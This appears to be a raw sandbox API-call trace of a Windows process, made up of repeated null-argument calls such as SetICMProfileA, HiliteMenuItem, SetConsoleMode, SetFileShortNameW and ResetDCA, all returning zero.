	[0069.844] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.844] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.844] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.844] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.844] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.844] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.844] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.844] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.844] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.844] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.844] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.844] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.844] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.844] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.844] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.844] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.845] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.845] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.845] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.845] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.845] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.845] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.845] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.845] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.845] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.845] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.845] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.845] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.845] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.845] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.845] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.845] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.845] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.845] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.845] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.845] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.845] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.845] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.845] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.845] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.845] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.845] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.845] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.845] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.845] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.845] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.845] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.845] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.845] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.845] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.845] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.845] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.845] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.845] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.845] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.845] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.845] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.845] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.846] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.846] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.846] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.846] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.846] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.846] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.846] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.846] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.846] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.846] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.846] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.846] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.846] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.846] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.846] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.846] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.846] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.846] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.846] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.846] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.846] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.846] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.846] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.846] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.846] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.846] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.846] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.846] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.846] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.846] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.846] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.846] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.846] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.846] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.846] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.846] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.846] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.846] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.846] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.846] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.846] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.847] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.847] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.847] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.847] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.847] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.847] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.847] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.847] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.847] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.847] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.847] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.847] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.847] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.847] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.847] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.847] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.847] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.847] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.847] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.847] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.847] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.847] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.847] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.847] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.847] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.847] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.847] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.847] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.847] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.847] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.847] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.847] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.847] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.847] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.847] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.847] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0070.930] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.930] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.931] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.932] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.933] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.934] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.935] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.936] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.937] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
	[0070.938] ResetDCA (hdc=0x0, lpdm=0x0) returned 0x0
